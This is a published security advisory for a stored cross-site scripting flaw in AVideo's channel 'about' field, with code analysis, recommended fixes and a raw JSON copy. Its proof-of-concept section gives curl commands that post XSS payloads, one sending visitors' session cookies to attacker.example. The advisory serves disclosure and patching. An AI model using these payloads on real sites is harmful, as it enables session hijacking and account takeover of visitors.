GHSA-GHX5-7JJG-Q2J7

Vulnerability from github – Published: 2026-03-25 19:52 – Updated: 2026-03-25 19:52
VLAI
Summary
AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field
Details

Summary

A sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The xss_esc() function entity-encodes input before strip_specific_tags() can match dangerous HTML tags, and html_entity_decode() on output reverses the encoding, restoring the raw malicious HTML.

Details

Input sanitization in objects/user.php:156:

public function setAbout($about)
{
    $this->about = strip_specific_tags(xss_esc($about));
}

The call order is strip_specific_tags(xss_esc($about)). The inner xss_esc() function (objects/functionsSecurity.php:233) calls htmlspecialchars():

$result = @htmlspecialchars($text, ENT_QUOTES, 'UTF-8');

This encodes <script>alert(1)</script> to &lt;script&gt;alert(1)&lt;/script&gt;.

Then strip_specific_tags() (objects/functions.php:6623-6636) runs regex patterns to remove dangerous tags:

$string = preg_replace('/<' . $tag . '[^>]*>(.*?)<\/' . $tag . '>/s', $replacement, $string);

But the regex looks for literal <script> — it can never match the entity-encoded &lt;script&gt;. The sanitizer is completely neutralized by the encoding that precedes it.

Output in view/channelBody.php:239-246:

$about = html_entity_decode($user->getAbout());
if (!empty($advancedCustomUser->showAllAboutTextOnChannel)) {
    echo $about;
} else {
?>
    <div id="aboutAreaPreContent">
        <div id="aboutAreaContent">
            <?php echo $about; ?>
        </div>
    </div>

The html_entity_decode() call reverses the htmlspecialchars() encoding, restoring the original raw HTML including <script> tags. The result is echoed directly into the page without any further escaping.

Secondary vector: The <img> tag is not in the strip_specific_tags blocklist (['script', 'style', 'iframe', 'object', 'applet', 'link']), so payloads like <img src=x onerror=...> bypass even the intended tag stripping entirely.

The about field is set via objects/userUpdate.json.php:28, accessible to any logged-in user:

$user->setAbout($_POST['about']);

The channel page (view/channelBody.php) is publicly accessible — no authentication is required to view it.

PoC

Step 1: Log in as any registered user and update the "about" field:

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<img src=x onerror=alert(document.cookie)>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='

Step 2: Any user (including unauthenticated visitors) navigates to the attacker's channel page:

https://TARGET/channel/attacker

Expected result: The JavaScript in the onerror handler executes in the visitor's browser, displaying their session cookie.

Alternative payload using <script> tag (also works due to the sanitization bypass):

curl -X POST 'https://TARGET/objects/userUpdate.json.php' \
  -H 'Cookie: PHPSESSID=ATTACKER_SESSION' \
  -d 'about=<script>fetch("https://attacker.example/steal?c="%2Bdocument.cookie)</script>&user=attacker&pass=password123&email=attacker@example.com&name=Attacker&analyticsCode=&donationLink=&phone='

Impact

  • Session hijacking: Attacker can steal session cookies of any user (including administrators) who visits their channel page
  • Account takeover: Stolen admin session tokens allow full administrative access to the AVideo instance
  • Phishing: Attacker can inject fake login forms or redirect users to malicious sites
  • Worm potential: Stored XSS could modify other users' profiles programmatically, creating a self-propagating worm

This is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.

Recommended Fix

Option 1 (Recommended — remove html_entity_decode): The entity-encoded string is already safe for display. Remove the decode call in view/channelBody.php:

// Before (VULNERABLE):
$about = html_entity_decode($user->getAbout());

// After (FIXED):
$about = $user->getAbout();

Option 2 (If rich HTML is intended): Reverse the sanitization order in objects/user.php:156 and use a proper sanitizer:

// Before (VULNERABLE):
$this->about = strip_specific_tags(xss_esc($about));

// After (FIXED — strip tags on raw HTML first, then encode):
$this->about = xss_esc(strip_specific_tags($about));

Option 3 (Best — if rich HTML in about is desired): Replace both strip_specific_tags() and xss_esc() with HTMLPurifier, which properly handles allowlisted HTML sanitization:

require_once 'vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,b,i,u,a[href],ul,ol,li,strong,em');
$purifier = new HTMLPurifier($config);
$this->about = $purifier->purify($about);

And on output, remove html_entity_decode() — output the purified HTML directly.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33683"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T19:52:22Z",
    "nvd_published_at": "2026-03-23T19:16:41Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nA sanitization order-of-operations flaw in the user profile \"about\" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML.\n\n## Details\n\n**Input sanitization** in `objects/user.php:156`:\n\n```php\npublic function setAbout($about)\n{\n    $this-\u003eabout = strip_specific_tags(xss_esc($about));\n}\n```\n\nThe call order is `strip_specific_tags(xss_esc($about))`. The inner `xss_esc()` function (`objects/functionsSecurity.php:233`) calls `htmlspecialchars()`:\n\n```php\n$result = @htmlspecialchars($text, ENT_QUOTES, \u0027UTF-8\u0027);\n```\n\nThis encodes `\u003cscript\u003ealert(1)\u003c/script\u003e` to `\u0026lt;script\u0026gt;alert(1)\u0026lt;/script\u0026gt;`.\n\nThen `strip_specific_tags()` (`objects/functions.php:6623-6636`) runs regex patterns to remove dangerous tags:\n\n```php\n$string = preg_replace(\u0027/\u003c\u0027 . $tag . \u0027[^\u003e]*\u003e(.*?)\u003c\\/\u0027 . $tag . \u0027\u003e/s\u0027, $replacement, $string);\n```\n\nBut the regex looks for literal `\u003cscript\u003e` \u2014 it can never match the entity-encoded `\u0026lt;script\u0026gt;`. The sanitizer is completely neutralized by the encoding that precedes it.\n\n**Output** in `view/channelBody.php:239-246`:\n\n```php\n$about = html_entity_decode($user-\u003egetAbout());\nif (!empty($advancedCustomUser-\u003eshowAllAboutTextOnChannel)) {\n    echo $about;\n} else {\n?\u003e\n    \u003cdiv id=\"aboutAreaPreContent\"\u003e\n        \u003cdiv id=\"aboutAreaContent\"\u003e\n            \u003c?php echo $about; ?\u003e\n        \u003c/div\u003e\n    \u003c/div\u003e\n```\n\nThe `html_entity_decode()` call reverses the `htmlspecialchars()` encoding, restoring the original raw HTML including `\u003cscript\u003e` tags. The result is echoed directly into the page without any further escaping.\n\n**Secondary vector:** The `\u003cimg\u003e` tag is not in the `strip_specific_tags` blocklist (`[\u0027script\u0027, \u0027style\u0027, \u0027iframe\u0027, \u0027object\u0027, \u0027applet\u0027, \u0027link\u0027]`), so payloads like `\u003cimg src=x onerror=...\u003e` bypass even the intended tag stripping entirely.\n\nThe about field is set via `objects/userUpdate.json.php:28`, accessible to any logged-in user:\n\n```php\n$user-\u003esetAbout($_POST[\u0027about\u0027]);\n```\n\nThe channel page (`view/channelBody.php`) is publicly accessible \u2014 no authentication is required to view it.\n\n## PoC\n\n**Step 1:** Log in as any registered user and update the \"about\" field:\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n  -d \u0027about=\u003cimg src=x onerror=alert(document.cookie)\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n**Step 2:** Any user (including unauthenticated visitors) navigates to the attacker\u0027s channel page:\n\n```\nhttps://TARGET/channel/attacker\n```\n\n**Expected result:** The JavaScript in the `onerror` handler executes in the visitor\u0027s browser, displaying their session cookie.\n\n**Alternative payload using `\u003cscript\u003e` tag (also works due to the sanitization bypass):**\n\n```bash\ncurl -X POST \u0027https://TARGET/objects/userUpdate.json.php\u0027 \\\n  -H \u0027Cookie: PHPSESSID=ATTACKER_SESSION\u0027 \\\n  -d \u0027about=\u003cscript\u003efetch(\"https://attacker.example/steal?c=\"%2Bdocument.cookie)\u003c/script\u003e\u0026user=attacker\u0026pass=password123\u0026email=attacker@example.com\u0026name=Attacker\u0026analyticsCode=\u0026donationLink=\u0026phone=\u0027\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including administrators) who visits their channel page\n- **Account takeover:** Stolen admin session tokens allow full administrative access to the AVideo instance\n- **Phishing:** Attacker can inject fake login forms or redirect users to malicious sites\n- **Worm potential:** Stored XSS could modify other users\u0027 profiles programmatically, creating a self-propagating worm\n\nThis is a stored XSS affecting all visitors to any attacker-controlled channel page, with no user interaction beyond navigating to the page.\n\n## Recommended Fix\n\n**Option 1 (Recommended \u2014 remove html_entity_decode):** The entity-encoded string is already safe for display. Remove the decode call in `view/channelBody.php`:\n\n```php\n// Before (VULNERABLE):\n$about = html_entity_decode($user-\u003egetAbout());\n\n// After (FIXED):\n$about = $user-\u003egetAbout();\n```\n\n**Option 2 (If rich HTML is intended):** Reverse the sanitization order in `objects/user.php:156` and use a proper sanitizer:\n\n```php\n// Before (VULNERABLE):\n$this-\u003eabout = strip_specific_tags(xss_esc($about));\n\n// After (FIXED \u2014 strip tags on raw HTML first, then encode):\n$this-\u003eabout = xss_esc(strip_specific_tags($about));\n```\n\n**Option 3 (Best \u2014 if rich HTML in about is desired):** Replace both `strip_specific_tags()` and `xss_esc()` with HTMLPurifier, which properly handles allowlisted HTML sanitization:\n\n```php\nrequire_once \u0027vendor/ezyang/htmlpurifier/library/HTMLPurifier.auto.php\u0027;\n$config = HTMLPurifier_Config::createDefault();\n$config-\u003eset(\u0027HTML.Allowed\u0027, \u0027p,br,b,i,u,a[href],ul,ol,li,strong,em\u0027);\n$purifier = new HTMLPurifier($config);\n$this-\u003eabout = $purifier-\u003epurify($about);\n```\n\nAnd on output, remove `html_entity_decode()` \u2014 output the purified HTML directly.",
  "id": "GHSA-ghx5-7jjg-q2j7",
  "modified": "2026-03-25T19:52:22Z",
  "published": "2026-03-25T19:52:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-ghx5-7jjg-q2j7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33683"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/7cfdc380dae1e56bbb5de581470d9e9957445df0"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo vulnerable to Stored XSS via html_entity_decode() Reversing xss_esc() Sanitization in Channel About Field"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…